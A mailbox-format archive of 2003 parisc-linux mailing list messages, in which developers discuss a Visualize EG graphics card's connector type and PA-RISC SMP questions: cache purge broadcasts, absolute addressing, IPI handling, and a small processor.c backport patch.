tremendiousaly popular through out ? 

i'll go for the card and get the adaptehr for a normal monitor. Thanks. 
#


Quoting "M. Grabert" <xam@cs.ucc.ie>:

> On Thu, 28 Aug 2003 mmogenius@v8fiesta.co.uk wrote:
> 
> > Thanks once again
> >
> > Do you prehaps know how much the card wiull cost me and where i can get one
> in
> > the uk...
> 
> Well, Ebay + "Visualize EG" brings up following result:
> 
> http://search.ebay.co.uk/ws/search/SaleSearch?
satitle=Visualize+EG&saavailabletocountry=3&socurrencydisplay=2&ebaytag1code_tm
p=3&ebaytag1_tmp=ebayavail&sosortproperty=1&ht=1&from=R10&sorecordsperpage=50&B
asicSearch=
> 
> All of these three offers are currently below 10 Pound,
> but international shipping is quite expensive (one offer says US $25).
> 
> I'd say go for it anyway.
> 
> 
> Max
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Thu, 28 Aug 2003 09:12:16 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20030828151216.GA23430@dsl2.external.hp.com>
References: <3F4D798800000061@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622739 30460 80.91.229.3 (22 Nov 2014 02:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 09:12:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E5269488C; Thu, 28 Aug 2003 09:12:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F4D798800000061@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19390

On Thu, Aug 28, 2003 at 09:04:40AM +0200, Joel Soete wrote:
> Hi Grant,
> 
> >AFAIK, a cacheline will get loaded as "shared clean"
> >until someone writes to it - which is when the cacheline ping-pong
> >starts.
> 
> Mhh would it not request some kind of ipc between cpu for cache management?

no.
IIRC instructions for purging the cache are broadcast to other CPUs.

> But to avoid usage of cache would it be possible to access global kernel's
> variable with absolute addressing mode? Is it feasible?

Since the caches use virtual indices, it would make sense when using
physically addresses to bypass the cache. But I don't know if that's
really the case or not. I would expect that described in the PA2.0 Arch
book.

> btw scaning code related to SMP I find in smp.c a very draft of
> an 'ipi_init()' but unfortunately 'Ignore for now.  *May* need this
> "hook" to register IPI handler'..., interesting isn't it :).

I wrote that. ipi_init and comments can be deleted.
I haven't seen a need for ipi_init(). When I originally
implemented the SMP support I thought it might be.

The IPI handler is statically "hooked" (aka registered) in
	arch/parisc/kernel/irq.c:cpu_irq_actions[]

See ipi_interrupt() for IPI implementation.

> Is there any other platform inplementing such stuff (I try to scan 2.4 src
> but not found anywhere else) or some reference on to implement it?

it == ?
IPI is implemented.

grant


From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 09:17:54 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030828151754.GB23430@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622739 30462 80.91.229.3 (22 Nov 2014 02:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 09:17:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5A1E348FC; Thu, 28 Aug 2003 09:17:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19391

On Thu, Aug 28, 2003 at 10:22:21AM +0100, mmogenius@v8fiesta.co.uk wrote:
> i'll go for the card and get the adaptehr for a normal monitor.

I think two of the Ebay listings have an error: AFAIK, VIz-EG cards have
an "EVC" connector and not a "DVI" connector. The two connectors look very
similar except the DVI connector has fewer pins.  Have them count pins and
verify before ordering the DVI connector.

grant


From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Thu, 28 Aug 2003 18:08:14 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <3F4D78B00000000A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3F4D78B00000000A/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622740 30464 80.91.229.3 (22 Nov 2014 02:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 10:08:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A626E482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 10:08:17 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19sPGj-00049I-00; Thu, 28 Aug 2003 18:05:05 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 28 Aug 2003 18:08:14 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19392

--========/3F4D78B00000000A/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

>
>no.
>IIRC instructions for purging the cache are broadcast to other CPUs.
>
That is the first thing I would like to check (as the first signal I notice
is a itlb miss fault and the piminfo of the 2d cpu seems to show a crash
on a branch instruction [cmpb iirc], I presume that during the init of the
second cpu this last tries to access a page which was just purged by the
first.  This is also why I would like to find the psw of this second cpu
in the mentionned pimfinfo :) )

>> But to avoid usage of cache would it be possible to access global kernel's
>> variable with absolute addressing mode? Is it feasible?
>
>Since the caches use virtual indices, it would make sense when using
>physically addresses to bypass the cache. But I don't know if that's
>really the case or not. I would expect that described in the PA2.0 Arch
>book.

I don't yet browse all the book but at a first glance ldda and stda are available
(respectively load and store doubleword absolute)...

>> btw scaning cod
>>  related to SMP I find in smp.c a very draft of
>> an 'ipi_init()' but unfortunately 'Ignore for now.  *May* need this
>> "hook" to register IPI handler'..., interesting isn't it :).
>
>I wrote that. ipi_init and comments can be deleted.
>I haven't see a need for ipi_init(). When I originally
>implemented the SMP support I thought it might be.
>
>The IPI handler is statically "hooked" (aka registered) in
>	arch/parisc/kernel/irq.c:cpu_irq_actions[]
>
>See ipi_interrupt() for IPI implementation.
>
Allright (clear)
>>
>> Is there any other platform inplementing such stuff (I try to scan 2.4
src
>> but not found anywhere else) or some reference on to implement it?
>
>it == ?
>IPI is implemented.

I continue so.

BTW here is a small 2.6 back port that may be you could co safely:
--- processor.c.orig	2003-08-28 18:04:57.000000000 +0200
+++ processor.c	2003-08-28 18:08:37.000000000 +0200
@@ -370,9 +370,9 @@
 };
 
 static struct parisc_driver cpu_driver = {
-	name:		"CPU",
-	id_table:	processor_tbl,
-	probe:		processor_probe
+	.name		= "CPU",
+	.id_table	= processor_tbl,
+	.probe		= pprocessor_probe
 };
 
 /**


Many thanks again for your attention,
    Joel



-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 



--========/3F4D78B00000000A/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="processor.diff"

LS0tIHByb2Nlc3Nvci5jLm9yaWcJMjAwMy0wOC0yOCAxODowNDo1Ny4wMDAwMDAwMDAgKzAyMDAK
KysrIHByb2Nlc3Nvci5jCTIwMDMtMDgtMjggMTg6MDg6MzcuMDAwMDAwMDAwICswMjAwCkBAIC0z
NzAsOSArMzcwLDkgQEAKIH07CiAKIHN0YXRpYyBzdHJ1Y3QgcGFyaXNjX2RyaXZlciBjcHVfZHJp
dmVyID0gewotCW5hbWU6CQkiQ1BVIiwKLQlpZF90YWJsZToJcHJvY2Vzc29yX3RibCwKLQlwcm9i
ZToJCXByb2Nlc3Nvcl9wcm9iZQorCS5uYW1lCQk9ICJDUFUiLAorCS5pZF90YWJsZQk9IHByb2Nl
c3Nvcl90YmwsCisJLnByb2JlCQk9IHBwcm9jZXNzb3JfcHJvYmUKIH07CiAKIC8qKgo=

--========/3F4D78B00000000A/mail.tiscali.be--


From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Thu, 28 Aug 2003 09:34:27 -0700
Lines: 120
Approved: news@gmane.org
Message-ID: <012d01c36d82$40d6c960$f463f40f@jh733133>
References: <3F4D78B00000000A@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622740 30467 80.91.229.3 (22 Nov 2014 02:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 10:33:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB2D2488F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 10:33:25 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel12.hp.com (Postfix) with ESMTP id 48A3F1C028DA
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 09:33:25 -0700 (PDT)
Original-Received: from jh733133 (dhcp42uvi498.cup.hp.com [15.244.99.244])
	by lucy.cup.hp.com (8.9.3 (PHNE_24419+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id JAA19180
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 09:33:19 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
In-Reply-To: <3F4D78B00000000A@ocpmta3.freegates.net>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19393

I haven't really been following this thread, so I don't know what
problem you're actually trying to solve, but I'd like to point out a few
aspects of the PA-RISC processor architecture.

Comments mixed with the original text, below.

 -- Jim
    HP Itanium/PA-RISC Processor Architect

> -----Original Message-----
> From: parisc-linux-admin@lists.parisc-linux.org 
> [mailto:parisc-linux-admin@lists.parisc-linux.org] On Behalf 
> Of Joel Soete
> Sent: Thursday, August 28, 2003 9:08 AM
> To: Grant Grundler
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
> 
> 
> >
> >no.
> >IIRC instructions for purging the cache are broadcast to other CPUs.

If you use fdc, fic, or pdc, then they are broadcast to other
processors, but fdce and fice are not.

> That is the first thing I would like to check (as the first 
> signal I notice
> is a itlb miss fault and the piminfo of the 2d cpu seems to 
> show a crash
> on a branch instruction [cmpb iirc], I presume that during 
> the init of the
> second cpu this last tries to access a page which was just 
> purged by the
> first.  This is also why I would like to find the psw of this 
> second cpu
> in the mentionned pimfinfo :) )
> 
> >> But to avoid usage of cache would it be possible to access 
> global kernel's
> >> variable with absolute addressing mode? Is it feasible?
> >
> >Since the caches use virtual indices, it would make sense when using
> >physically addresses to bypass the cache. But I don't know if that's
> >really the case or not. I would expect that described in the 
> PA2.0 Arch
> >book.
> 
> I don't yet browse all the book but at a first glance ldda 
> and stda are available
> (respectively load and store doubleword absolute)...

While you can use ldda and stda to access memory using absolute
(physical) addresses instead of virtual, these instructions do *not*
bypass the cache.  And because PA processors use virtually-indexed
caches, the rules for mixing virtual and absolute accesses, and have
them all remain cache-coherent, are complicated.  If you really need to
do this, then you'll have to read and understand all of Appendix F, "TLB
and Cache Control", in the PA-RISC 2.0 Architecture manual (the "Kane"
book).

> >> btw scaning cod
> >>  related to SMP I find in smp.c a very draft of
> >> an 'ipi_init()' but unfortunately 'Ignore for now.  *May* need this
> >> "hook" to register IPI handler'..., interesting isn't it :).
> >
> >I wrote that. ipi_init and comments can be deleted.
> >I haven't see a need for ipi_init(). When I originally
> >implemented the SMP support I thought it might be.
> >
> >The IPI handler is statically "hooked" (aka registered) in
> >	arch/parisc/kernel/irq.c:cpu_irq_actions[]
> >
> >See ipi_interrupt() for IPI implementation.
> >
> Allright (clear)
> >>
> >> Is there any other platform inplementing such stuff (I try 
> to scan 2.4
> src
> >> but not found anywhere else) or some reference on to implement it?
> >
> >it == ?
> >IPI is implemented.
> 
> I continue so.
> 
> BTW here is a small 2.6 back port that may be you could co safely:
> --- processor.c.orig	2003-08-28 18:04:57.000000000 +0200
> +++ processor.c	2003-08-28 18:08:37.000000000 +0200
> @@ -370,9 +370,9 @@
>  };
>  
>  static struct parisc_driver cpu_driver = {
> -	name:		"CPU",
> -	id_table:	processor_tbl,
> -	probe:		processor_probe
> +	.name		= "CPU",
> +	.id_table	= processor_tbl,
> +	.probe		= pprocessor_probe
>  };
>  
>  /**
> 
> 
> Many thanks again for your attention,
>     Joel
> 
> 
> 
> --------------------------------------------------------------
> -----------
> Tiscali ADSL, seulement 35 eur/mois et le modem est 
> inclus...abonnez-vous!
> http://reg.tiscali.be/default.asp?lg=fr 
> 
> 
> 



From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 11:07:07 -0700 (PDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20030828180707.44387.qmail@web12503.mail.yahoo.com>
References: <20030828151754.GB23430@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-699506816-1062094027=:44336"
X-Trace: ger.gmane.org 1416622740 30470 80.91.229.3 (22 Nov 2014 02:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>,
	mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 12:07:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12503.mail.yahoo.com (web12503.mail.yahoo.com [216.136.173.195])
	by dsl2.external.hp.com (Postfix) with SMTP id 2FE7D483E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 12:07:08 -0600 (MDT)
Original-Received: from [161.114.1.184] by web12503.mail.yahoo.com via HTTP; Thu, 28 Aug 2003 11:07:07 PDT
In-Reply-To: <20030828151754.GB23430@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19394

--0-699506816-1062094027=:44336
Content-Type: text/plain; charset=us-ascii

It is most definitely an EVC connector on the EG card....not DVI regardless of what the Ebay listing says.
 
derek

Grant Grundler <grundler@parisc-linux.org> wrote:
On Thu, Aug 28, 2003 at 10:22:21AM +0100, mmogenius@v8fiesta.co.uk wrote:
> i'll go for the card and get the adaptehr for a normal monitor.

I think two of the Ebay listings have an error: AFAIK, VIz-EG cards have
an "EVC" connector and not a "DVI" connector. The two connectors look very
similar except the DVI connector has fewer pins. Have them count pins and
verify before ordering the DVI connector.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software
--0-699506816-1062094027=:44336
Content-Type: text/html; charset=us-ascii

<DIV>
<DIV>It is most definitely an EVC connector on the EG card....not DVI regardless of what the Ebay listing says.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><B><I>Grant Grundler &lt;grundler@parisc-linux.org&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE class=replbq style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">On Thu, Aug 28, 2003 at 10:22:21AM +0100, mmogenius@v8fiesta.co.uk wrote:<BR>&gt; i'll go for the card and get the adaptehr for a normal monitor.<BR><BR>I think two of the Ebay listings have an error: AFAIK, VIz-EG cards have<BR>an "EVC" connector and not a "DVI" connector. The two connectors look very<BR>similar except the DVI connector has fewer pins. Have them count pins and<BR>verify before ordering the DVI connector.<BR><BR>grant<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE></DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/evt=10469/*http://sitebuilder.yahoo.com">Yahoo! SiteBuilder</a> - Free, easy-to-use web site design software
--0-699506816-1062094027=:44336--


From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Thu, 28 Aug 2003 22:02:16 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <1062104536.3f4e6dd8eba50@webmail.v8fiesta.co.uk>
References: <20030828180707.44387.qmail@web12503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622741 30475 80.91.229.3 (22 Nov 2014 02:19:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:01 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 28 15:03:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 51A36483D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Aug 2003 15:03:05 -0600 (MDT)
Original-Received: (qmail 38871 invoked by uid 2525); 28 Aug 2003 21:02:17 -0000
Original-Received: from 80.40.43.198 ( [80.40.43.198])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Thu, 28 Aug 2003 22:02:16 +0100
In-Reply-To: <20030828180707.44387.qmail@web12503.mail.yahoo.com>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 80.40.43.198
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19395

Oh dear i ordered the converter but it was only 3 so what the hell i'll see 
if they will swap the converter for another.

with any luck i'll manage to get X on this box.... not critical but damn it 
would be nice. 



Quoting Derek Engelhaupt <derekengelhaupt@rocketmail.com>:

> It is most definitely an EVC connector on the EG card....not DVI regardless
> of what the Ebay listing says.
>  
> derek
> 
> Grant Grundler <grundler@parisc-linux.org> wrote:
> On Thu, Aug 28, 2003 at 10:22:21AM +0100, mmogenius@v8fiesta.co.uk wrote:
> > i'll go for the card and get the adaptehr for a normal monitor.
> 
> I think two of the Ebay listings have an error: AFAIK, VIz-EG cards have
> an "EVC" connector and not a "DVI" connector. The two connectors look very
> similar except the DVI connector has fewer pins. Have them count pins and
> verify before ordering the DVI connector.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> ---------------------------------
> Do you Yahoo!?
> Yahoo! SiteBuilder - Free, easy-to-use web site design software




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Fri, 29 Aug 2003 09:27:27 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <3F4D78B00000007F@ocpmta3.freegates.net>
References: <012d01c36d82$40d6c960$f463f40f@jh733133>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622741 30478 80.91.229.3 (22 Nov 2014 02:19:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:01 +0000 (UTC)
To: "Jim Hull" <jim.hull@hp.com>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 01:28:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7D66483F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Aug 2003 01:28:47 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19sdbJ-0002xp-00; Fri, 29 Aug 2003 09:23:17 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 29 Aug 2003 09:27:27 +0200
In-Reply-To: <012d01c36d82$40d6c960$f463f40f@jh733133>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
